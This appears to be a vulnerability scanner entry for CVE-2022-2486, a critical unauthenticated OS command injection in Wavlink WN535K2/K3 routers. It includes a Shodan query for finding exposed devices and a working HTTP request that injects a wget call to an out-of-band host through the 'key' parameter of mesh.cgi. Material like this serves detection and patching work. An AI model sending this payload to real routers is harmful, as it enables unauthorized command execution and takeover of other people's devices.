| Title | Wavlink WN535K2/WN535K3 - OS Command Injection |
|---|---|
| Author | For3stCo1d |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire network. |
| Remediation | Apply the latest firmware update provided by the vendor to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.92744 |
| CVE ID | CVE-2022-2486 |
| CWE ID | CWE-78 |
| Shodan Query | http.title:"Wi-Fi APP Login" |
| Tags | cve2022 cve iot wavlink router rce oast vkev vuln |
Wavlink WN535K2 and WN535K3 routers are susceptible to OS command injection in an unknown part of the file /cgi-bin/mesh.cgi?page=upgrade via manipulation of the argument key. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
GET /cgi-bin/mesh.cgi?page=upgrade&key=;%27wget+http://d5jm7lhle0o4o60an390up9donndgddo9.oast.fun;%27 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-2486.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-2486.pcap
N/AN/A